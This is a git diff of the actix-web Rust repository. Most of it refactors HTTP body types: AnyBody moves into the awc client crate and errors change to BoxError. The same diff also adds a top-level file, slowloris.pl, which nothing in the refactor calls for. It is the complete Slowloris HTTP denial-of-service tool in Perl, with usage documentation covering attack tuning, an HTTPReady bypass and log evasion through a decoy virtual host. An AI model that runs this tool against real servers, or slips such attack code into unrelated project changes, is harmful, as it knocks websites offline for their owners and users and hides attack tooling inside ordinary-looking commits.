diff --git a/actix-files/src/named.rs b/actix-files/src/named.rs index e938f8c05..5dbc5eed2 100644 --- a/actix-files/src/named.rs +++ b/actix-files/src/named.rs @@ -10,7 +10,7 @@ use std::{ #[cfg(unix)] use std::os::unix::fs::MetadataExt; -use actix_http::body::AnyBody; +use actix_http::body; use actix_service::{Service, ServiceFactory}; use actix_web::{ body::BoxBody, @@ -530,7 +530,7 @@ impl NamedFile { } else if not_modified { return resp .status(StatusCode::NOT_MODIFIED) - .body(AnyBody::<()>::None) + .body(body::None::new()) .map_into_boxed_body(); } diff --git a/actix-http/examples/echo2.rs b/actix-http/examples/echo2.rs index ea6d69ef8..6092c01ce 100644 --- a/actix-http/examples/echo2.rs +++ b/actix-http/examples/echo2.rs @@ -1,14 +1,14 @@ use std::io; use actix_http::{ - body::BoxBody, http::HeaderValue, http::StatusCode, Error, HttpService, Request, + body::MessageBody, http::HeaderValue, http::StatusCode, Error, HttpService, Request, Response, }; use actix_server::Server; use bytes::BytesMut; use futures_util::StreamExt as _; -async fn handle_request(mut req: Request) -> Result, Error> { +async fn handle_request(mut req: Request) -> Result, Error> { let mut body = BytesMut::new(); while let Some(item) = req.payload().next().await { body.extend_from_slice(&item?) @@ -18,8 +18,7 @@ async fn handle_request(mut req: Request) -> Result, Error> { Ok(Response::build(StatusCode::OK) .insert_header(("x-head", HeaderValue::from_static("dummy value!"))) - .body(body) - .map_into_boxed_body()) + .body(body)) } #[actix_rt::main] diff --git a/actix-http/src/body/mod.rs b/actix-http/src/body/mod.rs index e4ce89a83..c09664407 100644 --- a/actix-http/src/body/mod.rs +++ b/actix-http/src/body/mod.rs @@ -1,7 +1,5 @@ //! Traits and structures to aid consuming and writing HTTP payloads. -#[allow(clippy::module_inception)] -mod body; mod body_stream; mod boxed; mod either; @@ -11,9 +9,6 @@ mod size; mod sized_stream; mod utils; -pub use self::body::AnyBody; -#[allow(deprecated)] -pub use self::body::Body; pub use self::body_stream::BodyStream; pub use self::boxed::BoxBody; pub use self::either::EitherBody; @@ -32,25 +27,15 @@ mod tests { use actix_utils::future::poll_fn; use bytes::{Bytes, BytesMut}; - use super::{AnyBody as TestAnyBody, *}; - - impl TestAnyBody { - pub(crate) fn get_ref(&self) -> &[u8] { - match *self { - AnyBody::Bytes { ref body } => body, - _ => panic!(), - } - } - } + use super::*; /// AnyBody alias because rustc does not (can not?) infer the default type parameter. - type AnyBody = TestAnyBody; + type AnyBody = Bytes; #[actix_rt::test] async fn test_static_str() { assert_eq!(AnyBody::from("").size(), BodySize::Sized(0)); assert_eq!(AnyBody::from("test").size(), BodySize::Sized(4)); - assert_eq!(AnyBody::from("test").get_ref(), b"test"); assert_eq!("test".size(), BodySize::Sized(4)); assert_eq!( @@ -65,15 +50,10 @@ mod tests { #[actix_rt::test] async fn test_static_bytes() { assert_eq!(AnyBody::from(b"test".as_ref()).size(), BodySize::Sized(4)); - assert_eq!(AnyBody::from(b"test".as_ref()).get_ref(), b"test"); assert_eq!( AnyBody::copy_from_slice(b"test".as_ref()).size(), BodySize::Sized(4) ); - assert_eq!( - AnyBody::copy_from_slice(b"test".as_ref()).get_ref(), - b"test" - ); let sb = Bytes::from(&b"test"[..]); pin!(sb); @@ -87,7 +67,6 @@ mod tests { #[actix_rt::test] async fn test_vec() { assert_eq!(AnyBody::from(Vec::from("test")).size(), BodySize::Sized(4)); - assert_eq!(AnyBody::from(Vec::from("test")).get_ref(), b"test"); let test_vec = Vec::from("test"); pin!(test_vec); @@ -105,7 +84,7 @@ mod tests { async fn test_bytes() { let b = Bytes::from("test"); assert_eq!(AnyBody::from(b.clone()).size(), BodySize::Sized(4)); - assert_eq!(AnyBody::from(b.clone()).get_ref(), b"test"); + pin!(b); assert_eq!(b.size(), BodySize::Sized(4)); @@ -119,7 +98,6 @@ mod tests { async fn test_bytes_mut() { let b = BytesMut::from("test"); assert_eq!(AnyBody::from(b.clone()).size(), BodySize::Sized(4)); - assert_eq!(AnyBody::from(b.clone()).get_ref(), b"test"); pin!(b); assert_eq!(b.size(), BodySize::Sized(4)); @@ -133,11 +111,9 @@ mod tests { async fn test_string() { let b = "test".to_owned(); assert_eq!(AnyBody::from(b.clone()).size(), BodySize::Sized(4)); - assert_eq!(AnyBody::from(b.clone()).get_ref(), b"test"); - assert_eq!(AnyBody::from(&b).size(), BodySize::Sized(4)); - assert_eq!(AnyBody::from(&b).get_ref(), b"test"); - pin!(b); + // assert_eq!(AnyBody::from(&b).size(), BodySize::Sized(4)); + pin!(b); assert_eq!(b.size(), BodySize::Sized(4)); assert_eq!( poll_fn(|cx| b.as_mut().poll_next(cx)).await.unwrap().ok(), @@ -165,29 +141,6 @@ mod tests { assert!(poll_fn(|cx| val.as_mut().poll_next(cx)).await.is_none()); } - #[actix_rt::test] - async fn test_body_eq() { - assert!( - AnyBody::Bytes { - body: Bytes::from_static(b"1") - } == AnyBody::Bytes { - body: Bytes::from_static(b"1") - } - ); - - assert!( - AnyBody::Bytes { - body: Bytes::from_static(b"1") - } != AnyBody::None - ); - } - - #[actix_rt::test] - async fn test_body_debug() { - assert!(format!("{:?}", AnyBody::None).contains("Body::None")); - assert!(format!("{:?}", AnyBody::from(Bytes::from_static(b"1"))).contains('1')); - } - #[actix_rt::test] async fn test_serde_json() { use serde_json::{json, Value}; diff --git a/actix-http/src/body/utils.rs b/actix-http/src/body/utils.rs index ed85fac63..a421ffd76 100644 --- a/actix-http/src/body/utils.rs +++ b/actix-http/src/body/utils.rs @@ -13,15 +13,15 @@ use super::{BodySize, MessageBody}; /// /// # Examples /// ``` -/// use actix_http::body::{AnyBody, to_bytes}; +/// use actix_http::body::{self, to_bytes}; /// use bytes::Bytes; /// /// # async fn test_to_bytes() { -/// let body = AnyBody::none(); +/// let body = body::None::new(); /// let bytes = to_bytes(body).await.unwrap(); /// assert!(bytes.is_empty()); /// -/// let body = AnyBody::copy_from_slice(b"123"); +/// let body = Bytes::from_static(b"123"); /// let bytes = to_bytes(body).await.unwrap(); /// assert_eq!(bytes, b"123"[..]); /// # } diff --git a/actix-http/src/error.rs b/actix-http/src/error.rs index abe59b215..4cb2bf14e 100644 --- a/actix-http/src/error.rs +++ b/actix-http/src/error.rs @@ -132,12 +132,6 @@ impl From for Error { } } -impl From for Error { - fn from(err: ws::ProtocolError) -> Self { - Self::new_ws().with_cause(err) - } -} - impl From for Error { fn from(err: HttpError) -> Self { Self::new_http().with_cause(err) @@ -150,6 +144,12 @@ impl From for Error { } } +impl From for Error { + fn from(err: ws::ProtocolError) -> Self { + Self::new_ws().with_cause(err) + } +} + /// A set of errors that can occur during parsing HTTP streams. #[derive(Debug, Display, Error)] #[non_exhaustive] diff --git a/actix-http/src/response_builder.rs b/actix-http/src/response_builder.rs index 2a4317871..6ba58a02f 100644 --- a/actix-http/src/response_builder.rs +++ b/actix-http/src/response_builder.rs @@ -344,8 +344,9 @@ impl fmt::Debug for ResponseBuilder { #[cfg(test)] mod tests { + use bytes::Bytes; + use super::*; - use crate::body::AnyBody; use crate::http::header::{HeaderName, HeaderValue, CONTENT_TYPE}; #[test] @@ -378,7 +379,7 @@ mod tests { fn test_content_type() { let resp = Response::build(StatusCode::OK) .content_type("text/plain") - .body(AnyBody::empty()); + .body(Bytes::new()); assert_eq!(resp.headers().get(CONTENT_TYPE).unwrap(), "text/plain") } diff --git a/awc/Cargo.toml b/awc/Cargo.toml index 851e5cd43..fc60f5edb 100644 --- a/awc/Cargo.toml +++ b/awc/Cargo.toml @@ -105,6 +105,7 @@ brotli2 = "0.3.2" env_logger = "0.9" flate2 = "1.0.13" futures-util = { version = "0.3.7", default-features = false } +static_assertions = "1.1" rcgen = "0.8" rustls-pemfile = "0.2" diff --git a/actix-http/src/body/body.rs b/awc/src/any_body.rs similarity index 93% rename from actix-http/src/body/body.rs rename to awc/src/any_body.rs index 0dada52ae..74f19ce25 100644 --- a/actix-http/src/body/body.rs +++ b/awc/src/any_body.rs @@ -10,12 +10,7 @@ use bytes::{Bytes, BytesMut}; use futures_core::Stream; use pin_project_lite::pin_project; -use super::{BodySize, BodyStream, BoxBody, MessageBody, SizedStream}; -use crate::error::Error; - -/// (Deprecated) Represents various types of HTTP message body. -#[deprecated(since = "4.0.0", note = "Renamed to `AnyBody`.")] -pub type Body = AnyBody; +use actix_http::body::{BodySize, BodyStream, BoxBody, MessageBody, SizedStream}; pin_project! { /// Represents various types of HTTP message body. @@ -96,7 +91,7 @@ impl MessageBody for AnyBody where B: MessageBody, { - type Error = Error; + type Error = crate::BoxError; fn size(&self) -> BodySize { match self { @@ -121,9 +116,7 @@ where } } - AnyBodyProj::Body { body } => body - .poll_next(cx) - .map_err(|err| Error::new_body().with_cause(err)), + AnyBodyProj::Body { body } => body.poll_next(cx).map_err(|err| err.into()), } } } @@ -267,7 +260,7 @@ mod tests { struct PinType(PhantomPinned); impl MessageBody for PinType { - type Error = crate::Error; + type Error = crate::BoxError; fn size(&self) -> BodySize { unimplemented!() diff --git a/awc/src/client/connection.rs b/awc/src/client/connection.rs index 6bbc9ad07..0e1f0bfec 100644 --- a/awc/src/client/connection.rs +++ b/awc/src/client/connection.rs @@ -12,9 +12,9 @@ use bytes::Bytes; use futures_core::future::LocalBoxFuture; use h2::client::SendRequest; -use actix_http::{ - body::MessageBody, h1::ClientCodec, Error, Payload, RequestHeadType, ResponseHead, -}; +use actix_http::{body::MessageBody, h1::ClientCodec, Payload, RequestHeadType, ResponseHead}; + +use crate::BoxError; use super::error::SendRequestError; use super::pool::Acquired; @@ -254,7 +254,7 @@ where where H: Into + 'static, RB: MessageBody + 'static, - RB::Error: Into, + RB::Error: Into, { Box::pin(async move { match self { diff --git a/awc/src/client/error.rs b/awc/src/client/error.rs index 68ffb6fbf..9077bd4c3 100644 --- a/awc/src/client/error.rs +++ b/awc/src/client/error.rs @@ -2,12 +2,12 @@ use std::{error::Error as StdError, fmt, io}; use derive_more::{Display, From}; -use actix_http::{ - error::{Error, ParseError}, - http::Error as HttpError, -}; +use actix_http::{error::ParseError, http::Error as HttpError}; + #[cfg(feature = "openssl")] -use actix_tls::accept::openssl::reexports::Error as OpenSslError; +use actix_tls::accept::openssl::reexports::Error as OpensslError; + +use crate::BoxError; /// A set of errors that can occur while connecting to an HTTP host #[derive(Debug, Display, From)] @@ -20,7 +20,7 @@ pub enum ConnectError { /// SSL error #[cfg(feature = "openssl")] #[display(fmt = "{}", _0)] - SslError(OpenSslError), + SslError(OpensslError), /// Failed to resolve the hostname #[display(fmt = "Failed resolving hostname: {}", _0)] @@ -118,7 +118,7 @@ pub enum SendRequestError { TunnelNotSupported, /// Error sending request body - Body(Error), + Body(BoxError), /// Other errors that can occur after submitting a request. #[display(fmt = "{:?}: {}", _1, _0)] diff --git a/awc/src/client/h1proto.rs b/awc/src/client/h1proto.rs index c442cd4cf..b26a97eeb 100644 --- a/awc/src/client/h1proto.rs +++ b/awc/src/client/h1proto.rs @@ -13,7 +13,7 @@ use actix_http::{ header::{HeaderMap, IntoHeaderValue, EXPECT, HOST}, StatusCode, }, - Error, Payload, RequestHeadType, ResponseHead, + Payload, RequestHeadType, ResponseHead, }; use actix_utils::future::poll_fn; use bytes::buf::BufMut; @@ -22,6 +22,8 @@ use futures_core::{ready, Stream}; use futures_util::SinkExt as _; use pin_project_lite::pin_project; +use crate::BoxError; + use super::connection::{ConnectionIo, H1Connection}; use super::error::{ConnectError, SendRequestError}; @@ -33,7 +35,7 @@ pub(crate) async fn send_request( where Io: ConnectionIo, B: MessageBody, - B::Error: Into, + B::Error: Into, { // set request host header if !head.as_ref().headers.contains_key(HOST) @@ -155,7 +157,7 @@ pub(crate) async fn send_body( where Io: ConnectionIo, B: MessageBody, - B::Error: Into, + B::Error: Into, { actix_rt::pin!(body); @@ -166,7 +168,7 @@ where Some(Ok(chunk)) => { framed.as_mut().write(h1::Message::Chunk(Some(chunk)))?; } - Some(Err(err)) => return Err(err.into().into()), + Some(Err(err)) => return Err(SendRequestError::Body(err.into())), None => { eof = true; framed.as_mut().write(h1::Message::Chunk(None))?; diff --git a/awc/src/client/h2proto.rs b/awc/src/client/h2proto.rs index 66fb790a3..9ced5776b 100644 --- a/awc/src/client/h2proto.rs +++ b/awc/src/client/h2proto.rs @@ -13,9 +13,11 @@ use log::trace; use actix_http::{ body::{BodySize, MessageBody}, header::HeaderMap, - Error, Payload, RequestHeadType, ResponseHead, + Payload, RequestHeadType, ResponseHead, }; +use crate::BoxError; + use super::{ config::ConnectorConfig, connection::{ConnectionIo, H2Connection}, @@ -30,7 +32,7 @@ pub(crate) async fn send_request( where Io: ConnectionIo, B: MessageBody, - B::Error: Into, + B::Error: Into, { trace!("Sending client request: {:?} {:?}", head, body.size()); @@ -133,10 +135,12 @@ where async fn send_body(body: B, mut send: SendStream) -> Result<(), SendRequestError> where B: MessageBody, - B::Error: Into, + B::Error: Into, { let mut buf = None; + actix_rt::pin!(body); + loop { if buf.is_none() { match poll_fn(|cx| body.as_mut().poll_next(cx)).await { @@ -144,10 +148,10 @@ where send.reserve_capacity(b.len()); buf = Some(b); } - Some(Err(e)) => return Err(e.into().into()), + Some(Err(err)) => return Err(SendRequestError::Body(err.into())), None => { - if let Err(e) = send.send_data(Bytes::new(), true) { - return Err(e.into()); + if let Err(err) = send.send_data(Bytes::new(), true) { + return Err(err.into()); } send.reserve_capacity(0); return Ok(()); diff --git a/awc/src/connect.rs b/awc/src/connect.rs index 05f2a6495..19870b069 100644 --- a/awc/src/connect.rs +++ b/awc/src/connect.rs @@ -7,16 +7,17 @@ use std::{ }; use actix_codec::Framed; -use actix_http::{ - body::AnyBody, h1::ClientCodec, Payload, RequestHead, RequestHeadType, ResponseHead, -}; +use actix_http::{h1::ClientCodec, Payload, RequestHead, RequestHeadType, ResponseHead}; use actix_service::Service; use futures_core::{future::LocalBoxFuture, ready}; -use crate::client::{ - Connect as ClientConnect, ConnectError, Connection, ConnectionIo, SendRequestError, +use crate::{ + any_body::AnyBody, + client::{ + Connect as ClientConnect, ConnectError, Connection, ConnectionIo, SendRequestError, + }, + response::ClientResponse, }; -use crate::response::ClientResponse; pub type BoxConnectorService = Rc< dyn Service< diff --git a/awc/src/error.rs b/awc/src/error.rs index d415efe95..726e1a506 100644 --- a/awc/src/error.rs +++ b/awc/src/error.rs @@ -11,6 +11,8 @@ use serde_json::error::Error as JsonError; pub use crate::client::{ConnectError, FreezeRequestError, InvalidUrl, SendRequestError}; +// TODO: address display, error, and from impls + /// Websocket client error #[derive(Debug, Display, From)] pub enum WsClientError { diff --git a/awc/src/frozen.rs b/awc/src/frozen.rs index 46a00b000..52aab93ce 100644 --- a/awc/src/frozen.rs +++ b/awc/src/frozen.rs @@ -5,12 +5,12 @@ use futures_core::Stream; use serde::Serialize; use actix_http::{ - body::AnyBody, http::{header::IntoHeaderValue, Error as HttpError, HeaderMap, HeaderName, Method, Uri}, RequestHead, }; use crate::{ + any_body::AnyBody, sender::{RequestSender, SendClientRequest}, ClientConfig, }; diff --git a/awc/src/lib.rs b/awc/src/lib.rs index fc99419eb..2f4183120 100644 --- a/awc/src/lib.rs +++ b/awc/src/lib.rs @@ -104,6 +104,7 @@ #![doc(html_logo_url = "https://actix.rs/img/logo.png")] #![doc(html_favicon_url = "https://actix.rs/favicon.ico")] +mod any_body; mod builder; mod client; mod connect; @@ -139,6 +140,8 @@ use actix_service::Service; use self::client::{ConnectInfo, TcpConnectError, TcpConnection}; +pub(crate) type BoxError = Box; + /// An asynchronous HTTP and WebSocket client. /// /// You should take care to create, at most, one `Client` per thread. Otherwise, expect higher CPU diff --git a/awc/src/middleware/redirect.rs b/awc/src/middleware/redirect.rs index f32b6f77f..89cff22cd 100644 --- a/awc/src/middleware/redirect.rs +++ b/awc/src/middleware/redirect.rs @@ -8,7 +8,6 @@ use std::{ }; use actix_http::{ - body::AnyBody, http::{header, Method, StatusCode, Uri}, RequestHead, RequestHeadType, }; @@ -17,10 +16,12 @@ use bytes::Bytes; use futures_core::ready; use super::Transform; - -use crate::client::{InvalidUrl, SendRequestError}; -use crate::connect::{ConnectRequest, ConnectResponse}; -use crate::ClientResponse; +use crate::{ + any_body::AnyBody, + client::{InvalidUrl, SendRequestError}, + connect::{ConnectRequest, ConnectResponse}, + ClientResponse, +}; pub struct Redirect { max_redirect_times: u8, diff --git a/awc/src/request.rs b/awc/src/request.rs index f364b43c7..68c65789b 100644 --- a/awc/src/request.rs +++ b/awc/src/request.rs @@ -5,7 +5,6 @@ use futures_core::Stream; use serde::Serialize; use actix_http::{ - body::AnyBody, http::{ header::{self, IntoHeaderPair}, ConnectionType, Error as HttpError, HeaderMap, HeaderValue, Method, Uri, Version, @@ -13,15 +12,17 @@ use actix_http::{ RequestHead, }; -#[cfg(feature = "cookies")] -use crate::cookie::{Cookie, CookieJar}; use crate::{ + any_body::AnyBody, error::{FreezeRequestError, InvalidUrl}, frozen::FrozenClientRequest, sender::{PrepForSendingError, RequestSender, SendClientRequest}, ClientConfig, }; +#[cfg(feature = "cookies")] +use crate::cookie::{Cookie, CookieJar}; + /// An HTTP Client request builder /// /// This type can be used to construct an instance of `ClientRequest` through a diff --git a/awc/src/sender.rs b/awc/src/sender.rs index bad72941c..372a1a4a3 100644 --- a/awc/src/sender.rs +++ b/awc/src/sender.rs @@ -9,12 +9,12 @@ use std::{ }; use actix_http::{ - body::{AnyBody, BodyStream}, + body::BodyStream, http::{ header::{self, HeaderMap, HeaderName, IntoHeaderValue}, Error as HttpError, }, - Error, RequestHead, RequestHeadType, + RequestHead, RequestHeadType, }; use actix_rt::time::{sleep, Sleep}; use bytes::Bytes; @@ -26,6 +26,7 @@ use serde::Serialize; use actix_http::{encoding::Decoder, http::header::ContentEncoding, Payload, PayloadStream}; use crate::{ + any_body::AnyBody, error::{FreezeRequestError, InvalidUrl, SendRequestError}, ClientConfig, ClientResponse, ConnectRequest, ConnectResponse, }; @@ -162,12 +163,6 @@ impl From for SendClientRequest { } } -impl From for SendClientRequest { - fn from(e: Error) -> Self { - SendClientRequest::Err(Some(e.into())) - } -} - impl From for SendClientRequest { fn from(e: HttpError) -> Self { SendClientRequest::Err(Some(e.into())) diff --git a/slowloris.pl b/slowloris.pl new file mode 100755 index 000000000..5c2919524 --- /dev/null +++ b/slowloris.pl @@ -0,0 +1,463 @@ +#!/usr/bin/perl -w +use strict; +use IO::Socket::INET; +use IO::Socket::SSL; +use Getopt::Long; +use Config; + +$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors + +print < \$shost, + 'dns=s' => \$host, + 'httpready' => \$httpready, + 'num=i' => \$connections, + 'cache' => \$cache, + 'port=i' => \$port, + 'https' => \$ssl, + 'tcpto=i' => \$tcpto, + 'test' => \$test, + 'timeout=i' => \$timeout, + 'version' => \$version, +); + +if ($version) { + print "Version 0.7\n"; + exit; +} + +unless ($host) { + print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; + print "\n\tType 'perldoc $0' for help with options.\n\n"; + exit; +} + +unless ($port) { + $port = 80; + print "Defaulting to port 80.\n"; +} + +unless ($tcpto) { + $tcpto = 5; + print "Defaulting to a 5 second tcp connection timeout.\n"; +} + +unless ($test) { + unless ($timeout) { + $timeout = 100; + print "Defaulting to a 100 second re-try timeout.\n"; + } + unless ($connections) { + $connections = 1000; + print "Defaulting to 1000 connections.\n"; + } +} + +my $usemultithreading = 0; +if ( $Config{usethreads} ) { + print "Multithreading enabled.\n"; + $usemultithreading = 1; + use threads; + use threads::shared; +} +else { + print "No multithreading capabilites found!\n"; + print "Slowloris will be slower than normal as a result.\n"; +} + +my $packetcount : shared = 0; +my $failed : shared = 0; +my $connectioncount : shared = 0; + +srand() if ($cache); + +if ($shost) { + $sendhost = $shost; +} +else { + $sendhost = $host; +} +if ($httpready) { + $method = "POST"; +} +else { + $method = "GET"; +} + +if ($test) { + my @times = ( "2", "30", "90", "240", "500" ); + my $totaltime = 0; + foreach (@times) { + $totaltime = $totaltime + $_; + } + $totaltime = $totaltime / 60; + print "This test could take up to $totaltime minutes.\n"; + + my $delay = 0; + my $working = 0; + my $sock; + + if ($ssl) { + if ( + $sock = new IO::Socket::SSL( + PeerAddr => "$host", + PeerPort => "$port", + Timeout => "$tcpto", + Proto => "tcp", + ) + ) + { + $working = 1; + } + } + else { + if ( + $sock = new IO::Socket::INET( + PeerAddr => "$host", + PeerPort => "$port", + Timeout => "$tcpto", + Proto => "tcp", + ) + ) + { + $working = 1; + } + } + if ($working) { + if ($cache) { + $rand = "?" . int( rand(99999999999999) ); + } + else { + $rand = ""; + } + my $primarypayload = + "GET /$rand HTTP/1.1\r\n" + . "Host: $sendhost\r\n" + . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" + . "Content-Length: 42\r\n"; + if ( print $sock $primarypayload ) { + print "Connection successful, now comes the waiting game...\n"; + } + else { + print +"That's odd - I connected but couldn't send the data to $host:$port.\n"; + print "Is something wrong?\nDying.\n"; + exit; + } + } + else { + print "Uhm... I can't connect to $host:$port.\n"; + print "Is something wrong?\nDying.\n"; + exit; + } + for ( my $i = 0 ; $i <= $#times ; $i++ ) { + print "Trying a $times[$i] second delay: \n"; + sleep( $times[$i] ); + if ( print $sock "X-a: b\r\n" ) { + print "\tWorked.\n"; + $delay = $times[$i]; + } + else { + if ( $SIG{__WARN__} ) { + $delay = $times[ $i - 1 ]; + last; + } + print "\tFailed after $times[$i] seconds.\n"; + } + } + + if ( print $sock "Connection: Close\r\n\r\n" ) { + print "Okay that's enough time. Slowloris closed the socket.\n"; + print "Use $delay seconds for -timeout.\n"; + exit; + } + else { + print "Remote server closed socket.\n"; + print "Use $delay seconds for -timeout.\n"; + exit; + } + if ( $delay < 166 ) { + print < "$host", + PeerPort => "$port", + Timeout => "$tcpto", + Proto => "tcp", + ) + ) + { + $working[$z] = 1; + } + else { + $working[$z] = 0; + } + } + else { + if ( + $sock[$z] = new IO::Socket::INET( + PeerAddr => "$host", + PeerPort => "$port", + Timeout => "$tcpto", + Proto => "tcp", + ) + ) + { + $working[$z] = 1; + $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK + } + else { + $working[$z] = 0; + } + } + if ( $working[$z] == 1 ) { + if ($cache) { + $rand = "?" . int( rand(99999999999999) ); + } + else { + $rand = ""; + } + my $primarypayload = + "$method /$rand HTTP/1.1\r\n" + . "Host: $sendhost\r\n" + . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" + . "Content-Length: 42\r\n"; + my $handle = $sock[$z]; + if ($handle) { + print $handle "$primarypayload"; + if ( $SIG{__WARN__} ) { + $working[$z] = 0; + close $handle; + $failed++; + $failedconnections++; + } + else { + $packetcount++; + $working[$z] = 1; + } + } + else { + $working[$z] = 0; + $failed++; + $failedconnections++; + } + } + else { + $working[$z] = 0; + $failed++; + $failedconnections++; + } + } + } + print "\t\tSending data.\n"; + foreach my $z ( 1 .. $num ) { + if ( $working[$z] == 1 ) { + if ( $sock[$z] ) { + my $handle = $sock[$z]; + if ( print $handle "X-a: b\r\n" ) { + $working[$z] = 1; + $packetcount++; + } + else { + $working[$z] = 0; + #debugging info + $failed++; + $failedconnections++; + } + } + else { + $working[$z] = 0; + #debugging info + $failed++; + $failedconnections++; + } + } + } + print +"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; + sleep($timeout); + } +} + +sub domultithreading { + my ($num) = @_; + my @thrs; + my $i = 0; + my $connectionsperthread = 50; + while ( $i < $num ) { + $thrs[$i] = + threads->create( \&doconnections, $connectionsperthread, 1 ); + $i += $connectionsperthread; + } + my @threadslist = threads->list(); + while ( $#threadslist > 0 ) { + $failed = 0; + } +} + +__END__ + +=head1 TITLE + +Slowloris + +=head1 VERSION + +Version 0.7 Beta + +=head1 DATE + +06/17/2009 + +=head1 AUTHOR + +RSnake with threading from John Kinsella + +=head1 ABSTRACT + +Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. + +=head1 AFFECTS + +Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? + +=head1 NOT AFFECTED + +IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...? + +=head1 DESCRIPTION + +Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well. + +As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood. + +=head2 Testing + +If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing: + +=head3 Testing Example: + +./slowloris.pl -dns www.example.com -port 80 -test + +This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing). + +=head2 HTTP DoS + +Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though. + +=head3 HTTP DoS Example: + +./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 + +=head2 HTTPReady Bypass + +HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. + +=head3 HTTPReady Bypass Example + +./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready + +=head2 Stealth Host DoS + +If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately. + +=head3 Stealth Host DoS Example: + +./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com + +=head2 HTTPS DoS + +Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary. + +=head3 HTTPS DoS Example: + +./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https + +=head2 HTTP Cache + +Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary. + +=head3 HTTP Cache Example: + +./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache + +=head1 Issues + +Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. + +Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture. + +For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD. + +Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too. + +=head1 What is a slow loris? + +What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out: + +http://www.youtube.com/watch?v=rLdQ3UhLoD4 diff --git a/src/dev.rs b/src/dev.rs index 64d76b967..9529d6a28 100644 --- a/src/dev.rs +++ b/src/dev.rs @@ -15,7 +15,7 @@ pub use crate::types::json::JsonBody; pub use crate::types::readlines::Readlines; #[allow(deprecated)] -pub use actix_http::body::{AnyBody, Body, BodySize, MessageBody, SizedStream}; +pub use actix_http::body::{BodySize, MessageBody, SizedStream}; pub use actix_http::{Extensions, Payload, PayloadStream, RequestHead, Response, ResponseHead}; pub use actix_router::{Path, ResourceDef, ResourcePath, Url}; diff --git a/src/response/builder.rs b/src/response/builder.rs index c7e7855c4..d2f79232e 100644 --- a/src/response/builder.rs +++ b/src/response/builder.rs @@ -436,12 +436,9 @@ mod tests { use actix_http::body; use super::*; - use crate::{ - dev::AnyBody, - http::{ - header::{self, HeaderValue, CONTENT_TYPE}, - StatusCode, - }, + use crate::http::{ + header::{self, HeaderValue, CONTENT_TYPE}, + 